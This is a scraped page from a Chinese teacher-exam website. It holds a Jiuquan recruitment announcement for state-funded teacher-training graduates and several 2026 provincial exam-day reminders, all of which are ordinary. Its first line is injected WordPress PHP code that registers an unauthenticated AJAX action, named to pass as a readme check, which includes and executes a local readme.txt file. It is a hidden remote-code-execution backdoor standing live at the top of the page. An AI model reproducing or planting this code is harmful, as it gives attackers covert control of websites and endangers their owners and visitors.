if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
甘肃省酒泉市省属公费师范毕业生专项招聘公告-全国教师资格考试网

甘肃省酒泉市省属公费师范毕业生专项招聘公告

根据《甘肃省教育厅 甘肃省财政厅 甘肃省人力资源和社会保障厅 中共甘肃省委机构编制委员会办公室关于印发〈甘肃省省属师范类本科院校公费教育实施办法(试行)〉的通知》和《酒泉市省属公费师范毕业生专项招聘实施方案》精神,结合全市教师队伍建设实际,经研究决定启动我市2025届省属公费师范毕业生定向招聘引进工作,现将有关事项公告如下:

一、招聘对象

按照《甘肃省省属师范类本科院校公费教育实施办法(试行)》规定接受甘肃省师范生公费教育,由省级财政承担其在校期间学费、住宿费并给予生活费补助,并在2021年大学招生录取时由省教育厅统一组织签订《甘肃省公费师范生培养协议书》、定向酒泉就业,且按规定时间取得相应学历学位证书和教师资格证书的29名甘肃省省属高校公费师范毕业生。

二、资格条件

(一)基本条件

1.具有中华人民共和国国籍。

2.拥护中华人民共和国宪法,拥护中国共产党领导和社会主义制度。

3.必须有正确的政治立场和政治态度,认真学习习近平新时代中国特色社会主义思想,树牢“四个意识”,坚定“四个自信”,坚决做到“两个维护”,自觉践行社会主义核心价值观,爱党爱国爱社会主义,有理想抱负和家国情怀,甘于为国家和人民服务奉献。

4.道德品行良好,学习成绩优异,作风朴实,诚实守信,吃苦耐劳。

5.具有正常履职的身体条件和心理素质,符合聘用体检标准。

6.须于2025年7月31日前取得相应的毕业证书、学位证书和教师资格证书。

7.法律、法规规定的其他条件。

8.符合公告中引进岗位的具体要求和其他要求。

(二)专业条件

应聘人员须具备岗位简表中明确的专业要求。专业名称以国务院学位委员会、教育部《关于印发〈普通高等学校本科专业目录(2012年)〉〈普通高等学校本科专业设置管理规定〉等文件的通知》(教高〔2012〕9号)、《教育部关于公布2019年度普通高等学校本科专业备案和审批结果的通知》(教高函〔2020〕2号)、《教育部关于公布2022年度普通高等学校本科专业备案和审批结果的通知》(教高函〔2023〕3号)等文件执行。

(三)下列人员不作为招聘对象

1.在校期间有违法违纪违规行为、学术不端和道德品行问题的;

2.曾因犯罪受过刑事处罚,在校期间受过处分,涉嫌违纪违法正在接受审查调查尚未作出结论的;

3.被开除中国共产党党籍的;

4.被依法列为失信联合惩戒对象的;

5.人事(学籍)档案审核中发现影响聘用情形的;

6.未能在2025年7月31日前取得毕业证、学位证、教师资格证的;

7.法律法规规定不得录用为事业单位工作人员的其他情形。

三、招聘方式

招聘采取集中面试的方式进行,由酒泉市2025届省属公费师范毕业生专项招聘工作领导小组统一组织实施,各县(市、区)教育局和市直有关学校配合,统一开展面试工作。

四、招聘程序

(一)发布招聘公告。市人社局、市教育局在官方网站上向社会发布招聘公告。

(二)资格审查及报名。2025年4月25日下午15:00,考生携带本人身份证、学生证、《甘肃省公费师范生培养协议书》原件及复印件,个人简历和本人近期正面蓝底2寸免冠照片2张在酒泉职业技术学院弘远楼集合。工作人员对考生提供的资料和省属公费师范生身份进行审核确认,通过审核的,由考生现场填写《酒泉市2025届省属公费师范毕业生专项招聘报名表》,在《2025年度酒泉市省属公费师范生专项招聘岗位计划简表》(详见附件)中选择岗位专业要求与本人所学专业一致的岗位报名(每人限报1个岗位),并现场领取《面试通知单》。

(三)面试考核。面试考核由市教育局会同各县(市、区)教育局统一组织,在4月26日下午14:00在酒泉职业技术学院弘远楼进行。考生持《面试通知单》和本人有效期内的身份证原件,在指定时间到指定地点参加面试,迟到30分钟及以上时间,视为放弃面试资格,按照违约处理。面试方式为试讲,应聘中小学文化课及学前教育教师岗位的,试讲内容由应试者从面试组在相应学段现行教材指定的若干课时中,自行选择一课时内容进行,重点考察教材与教法贯通能力。应聘体育教师岗位人员在试讲的基础上,同时考察考生体育素养,由考生展示体育特长,所需教器具自行准备。所有应聘人员备课时间为30分钟,试讲时间为10分钟(含体育特长展示)。各面试组对每位应聘人员按百分制进行评价,综合评定出应聘人员的面试成绩。面试成绩为所有考官评分去掉一个最高分、一个最低分后的平均数,保留小数点后两位。面试成绩由应聘人员当场签字确认生效,面试结束后统一公布。面试成绩出现末尾成绩并列者采取加试试讲,加试方式同面试。

(四)确定就业岗位。由市教育、人社部门按照“岗位优先”原则根据专项招聘岗位的面试成绩确定拟聘用人选,报名及面试人数等于或少于岗位招聘计划数的,所有面试人员均确定为该岗位的拟引进人员;报名及面试人数大于岗位招聘计划数的,按照面试成绩由高分到低分的顺序依次确定该岗位拟引进人选;因面试成绩排名靠后未落实工作岗位的公费师范生,在同学科剩余空岗中按照成绩由高分到低分的顺序依次调剂选岗,确保所有酒泉籍省属公费师范生全部有编有岗。考生需现场填写《酒泉市2025届省属公费师范毕业生专项招聘选岗确认书》,并签字确认,同时与相关单位签订三方就业协议书。因考生不服从调剂导致未在我市履约任教或主动放弃已选择岗位的,视为违约,不再单独安排就业岗位,并按照《甘肃省省属师范类本科院校公费教育实施办法(试行)》有关规定处理。

(五)组织考察。各岗位拟聘用人选确定后,进入组织考察(政治素质考察)阶段,按照干部管理权限由市县教育、人社部门在拟聘用人员毕业后组织实施。考察重点了解公费师范生的思想政治表现、道德品质、学习实绩和现实表现等方面的情况。考察通过征询应聘人员毕业院校、户籍地公安派出所、乡镇(社区)意见,对考察人选的政治素质、遵纪守法、道德品质、学业成绩、家庭情况等情况进行考察,并形成书面考察结论。

(六)资格复审。用人单位在拟聘用人选毕业后,对其人事档案(人事档案审核需要在专业档案人员的监督下进行,不得私自拆封)、证件进行复审。在档案审核中发现影响聘用情形或未能按期取得毕业证、学位证、教师资格证、普通话等级证等证件资料的,取消聘用资格,并按违约处理。

(七)体检。体检按照干部管理权限由市县教育、人社部门组织实施,须在县级及以上综合性公立医院进行,体检标准和项目参照《关于修订(公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)执行,体检费用由个人承担。对需要复检的,可按相关规定进行1次复检,结果以复检结论为准。复检后仍不合格的,根据《甘肃省省属师范类本科院校公费教育实施办法(试行)》相关规定,取消聘用资格,中止并解除《甘肃省公费师范生培养协议》。

(八)发布聘用公示。在考察体检结束后,人社、教育部门将拟聘用人员在官方网站进行公示,公示期为5个工作日。公示期满后,按相关程序办理聘用手续。聘用人员试用期1年,试用期满考核合格的正式聘用,不合格的解除聘用合同并按照违约处理。

五、其他事项

1.本次招聘不指定教材,不举办、也不委托任何机构举办辅导培训;

2.本公告未尽事宜,由酒泉市2025届省属公费师范毕业生专项招聘工作领导小组负责解释。

咨询电话:

酒泉市教育局 0937-2612061

酒泉市人社局 0937-2618488

附件:2025年度酒泉市省属公费师范生专项招聘岗位计划简表

酒泉市人力资源和社会保障局  酒泉市教育局

2025年4月18日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部